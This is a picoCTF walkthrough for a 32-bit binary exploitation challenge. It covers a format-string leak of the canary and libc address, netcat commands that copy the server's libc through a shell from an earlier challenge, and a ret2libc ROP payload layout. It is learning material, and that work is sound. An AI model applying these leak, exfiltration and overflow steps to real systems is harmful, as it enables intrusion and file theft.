Description
The sequel to Guessing Game 1 with much stronger protections: 32-bit, Full RELRO, stack canary, NX, no PIE.
The binary has a format string vulnerability and a buffer overflow. get_random() returns the address of rand() mod 4096, not an actual random number.
Setup
Download the binary and Makefile from the challenge page.
Install pwntools: pip install pwntools
Install ROPgadget: pip install ROPgadget
pip install pwntools ROPgadgetSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Read the Makefile and understand get_random
ObservationThe Makefile compiles with -m32, Full RELRO, and a stack canary, and the source shows get_random() returning the address of rand() itself mod 4096 rather than calling rand(). So the 'random' guess can be derived from objdump output rather than brute-forced.The Makefile shows: 32-bit (-m32), Full RELRO (libc is loaded read-only so the GOT cannot be overwritten), and a stack canary is present. The source shows that get_random() returns the address of the rand() function itself mod 4096, not the output of rand(). Use objdump to find rand's address in the binary, take the last 12 bits, apply two's complement to get the value as a signed number, then subtract 1 (the program adds 1 before printing the target).bashobjdump -d ./vuln | grep -A 2 '<rand@'Expected output
picoCTF{p0p_r0p_4nd_dr0p_1t_...}What didn't work first
Tried: Sending 'rand()' output by running rand() locally and using that value as the guess
get_random() never calls rand() and reads its return value; it returns the address of the rand symbol itself modulo 4096. Running rand() locally gives an entirely different number. Derive the value from objdump instead: find where rand is mapped in libc, take the last 12 bits, read them as two's complement, then subtract 1 for the +1 the program applies.
Tried: Using readelf -s on the binary to find rand's address instead of objdump
readelf -s on the challenge binary shows rand as an undefined external at address 0x0, because it resolves at runtime through the PLT and GOT. objdump -d shows the PLT stub, but the real address comes from whichever libc gets loaded. What you want is rand's offset inside libc, which readelf -s on the stolen libc file will give you.
Learn more
Because get_random() computes
(address of rand) % 4096, the result depends on where rand is located in memory, not on any random state. The address of rand in libc has a known last three nibbles. For example, if rand is at offset0x30fe0in libc, then the last 12 bits are0xfe0. Since the high nibble is f (leading 1 in binary), this represents a negative number in two's complement. Subtracting from 4096 gives 32, so the value is -32. The program adds 1, so the input to send is -31.Using objdump to find rand's address offset derives the input of -31. You can also brute-force it: only about 8192 possibilities exist (positive and negative values mod 4096).
Step 2Find your input's position on the stack with the format string bug
ObservationThe binary passes user input straight to printf() with no format argument, which is a textbook format string bug. %n$p specifiers will walk the stack and locate where the buffer starts.The binary passes user input directly to printf() with no format string, creating a format string vulnerability. Walk up the stack with %1$p, %2$p, ... until you see your input bytes (e.g., 0x41414141 for 'AAAA'). They appear at position 7.pythonpython3 -c "print('%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p')" | nc <host> <port>What didn't work first
Tried: Using %s instead of %p to walk the stack and find the input buffer position
%s treats the stack value as a pointer to a C string and dereferences it, and most stack slots hold addresses that are not strings, so the process segfaults or the connection drops before your input appears. %p prints the raw pointer value, which is what you need to spot the AAAA marker (0x41414141).
Tried: Sending AAAA without a format specifier and reading the raw output to find your offset
Without a format specifier, printf treats the input as a literal string and echoes it back unchanged. The vulnerability only fires when the input itself contains %p or similar, which makes printf read off the stack. The specifiers have to be in the same string to see any stack values.
Learn more
A format string vulnerability occurs when user-controlled data is passed as the first argument to printf(). The
%pspecifier reads the next argument off the stack and prints it as a pointer. The%n$psyntax targets the nth argument directly.The input 'aaa...' appears at position 7 on the stack. This is the anchor point: the buffer starts at parameter 7, and knowing the buffer size (512 bytes = 128 four-byte slots), the canary should be at parameter 7 + 128 = 135.
Step 3Leak the stack canary at parameter 135
ObservationThe buffer is 512 bytes on a 32-bit system, so 128 four-byte slots, and it starts at parameter 7. That puts the canary at parameter 135, and a libc return address further up the stack can be leaked in the same request to defeat ASLR.Since the buffer is 512 bytes and each stack slot is 4 bytes on a 32-bit system, the canary sits 128 slots above the buffer start (position 7), so at parameter 135. Leak it with a single format string request. Also leak the libc base address at parameter 147, which holds the return address from __libc_start_main.pythonpython3 -c "print('%135$p|%147$p')" | nc <host> <port>What didn't work first
Tried: Calculating the canary position as buffer_size / 4 + 1 = 129 instead of buffer_start + buffer_size / 4
The canary offset is added to the buffer's starting parameter position, not computed from size alone. The buffer starts at parameter 7, so the canary sits at 7 + 512/4, which is 135. Use 129 instead and you skip the base offset and read a different stack slot, giving a wrong value that trips __stack_chk_fail when you replay it in the overflow.
Tried: Leaking the libc address at parameter 135 + 12 = 147 by guessing 12 slots of saved registers on a 64-bit layout
This binary is 32-bit, so each stack slot is 4 bytes rather than 8, and the 12-byte gap between canary and return address is 3 slots. That suggests parameter 138 on paper, but the measured leak puts __libc_start_main's return at 147. Trust the live leak over the calculation, because compiler-generated frame padding can add extra slots.
Learn more
A stack canary is a random value placed between the local variables and the saved return address at function entry. Before returning, the compiler checks it; if changed, the program calls __stack_chk_fail() and terminates. Leaking it via format string lets you include the original value in your overflow payload, bypassing the check.
Parameter 147 holds the return address of __libc_start_main inside libc. Subtracting the known static offset of that symbol from its leaked runtime value gives the libc base address, from which all other libc symbols can be located despite ASLR.
Full RELRO prevents overwriting the GOT, so a classic GOT overwrite is not possible here. Instead, the canary leak plus ret2libc via a ROP chain is the path forward.
Step 4Steal the server's libc to get accurate offsets
ObservationFull RELRO blocks GOT overwrites, and the small challenge binary does not hold enough ROP gadgets. So exfiltrate the server's exact libc, using the shell from Guessing Game 1 and netcat, to get byte-accurate offsets for a ret2libc chain.Run ROPgadget on the binary itself fails because there are not enough gadgets. The gadgets must come from libc. Use the shell gained from Guessing Game 1 to exfiltrate the exact libc version from the server (glibc 2.27-3 on Ubuntu). Transfer the file to your machine with netcat, then run ROPgadget on it to build a working ROP chain.bashnc -l -p 63921 > libc-2.27.sobashnc jupiter.challenges.picoctf.com 63921 < /lib/i386-linux-gnu/libc-2.27.sobashROPgadget --binary libc-2.27.so --ropWhat didn't work first
Tried: Running ROPgadget on the challenge binary itself to build the ROP chain instead of on libc
The challenge binary is small and stripped of most gadgets; ROPgadget turns up only a handful of ret and pop instructions, nowhere near enough for a working execve chain. libc is a large shared library with virtually every gadget pattern you need. Run ROPgadget against the stolen libc-2.27.so, then add the computed libc base to each offset at runtime.
Tried: Downloading a matching libc from libc.rip or the Ubuntu package archive instead of stealing it from the server
Ubuntu builds the same glibc version several times as patch releases, and internal symbol offsets differ between revisions. A library matching the version string but not the exact build gives wrong offsets, so the ROP chain jumps into garbage. Copying the actual binary off the server with netcat is the only way to guarantee byte-for-byte accuracy.
Learn more
Different libc builds have different internal offsets. The challenge provides a libc identifier hint, but rather than trying to match library databases, use the working shell from Guessing Game 1 to copy the actual libc binary off the server with netcat. This guarantees the offsets match exactly.
ROPgadget can build a full execve('/bin/sh') chain from libc because libc contains every gadget needed. The generated chain uses
pack()calls which you replace withp32()in your pwntools script, then add the computed libc base address to each offset.Step 5Send the exploit: guess -31, leak canary and libc, overflow with ROP chain
ObservationAll three primitives are now in place: the deterministic guess (-31), the canary leaked at parameter 135, and the libc base from parameter 147. A pwntools script can chain them in sequence and send a 32-bit ROP chain with the right layout: 512 bytes padding, canary, 12-byte filler, then the chain.Connect with pwntools. Send -31 as the guess. Send the format string '%135$p|%147$p' to leak the canary and libc return address. Parse the two hex values, compute the libc base. Then send the overflow payload: 512 bytes of padding + canary + 12 bytes (padding to return address) + the 32-bit ROP chain with libc base added to each address.pythonpython3 exploit.pyWhat didn't work first
Tried: Using p64() instead of p32() to pack the ROP chain addresses
The binary is compiled with -m32 and runs as a 32-bit process, so addresses are 4 bytes wide. p64() packs 8-byte little-endian values, which doubles the size of every address and misaligns each gadget offset after it. The first gadget ends up corrupted and execution jumps somewhere meaningless. Match the pack size to the binary's word width.
Tried: Sending a 524-byte payload (512 + canary + return address) and skipping the 12-byte filler between canary and return address
The 32-bit stack frame stores the saved EBP, and possibly other callee-saved registers, between the canary and the return address, which is 12 bytes or 3 slots. Leave them out and the ROP chain overwrites those registers instead of the return address, so when the epilogue hits 'ret' the stack pointer is wrong and execution goes astray.
Learn more
The stack layout from the buffer is: 512 bytes of buffer, the 4-byte canary, then 12 more bytes of saved registers before reaching the return address. The payload must fill all slots in order: padding, correct canary, 12 bytes filler, then the ROP chain.
pwntools
p32()packs 32-bit addresses in little-endian order as required by x86 (32-bit). The ROP chain was produced by ROPgadget from the stolen libc, with pack() replaced by p32(), and the libc base address added to each offset to get the actual runtime addresses.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{p0p_r0p_4nd_dr0p_1t_...}
The flag body is p0p_r0p_4nd_dr0p_1t (ROP theme), followed by a per-instance hash suffix that differs across server instances. get_random() returns the address of rand() mod 4096, not a random number. The input -31 is derived from rand's address offset in libc. The canary is at format string parameter 135, the libc return address at 147. The ROP chain comes from the libc binary stolen from the server using the Guessing Game 1 shell.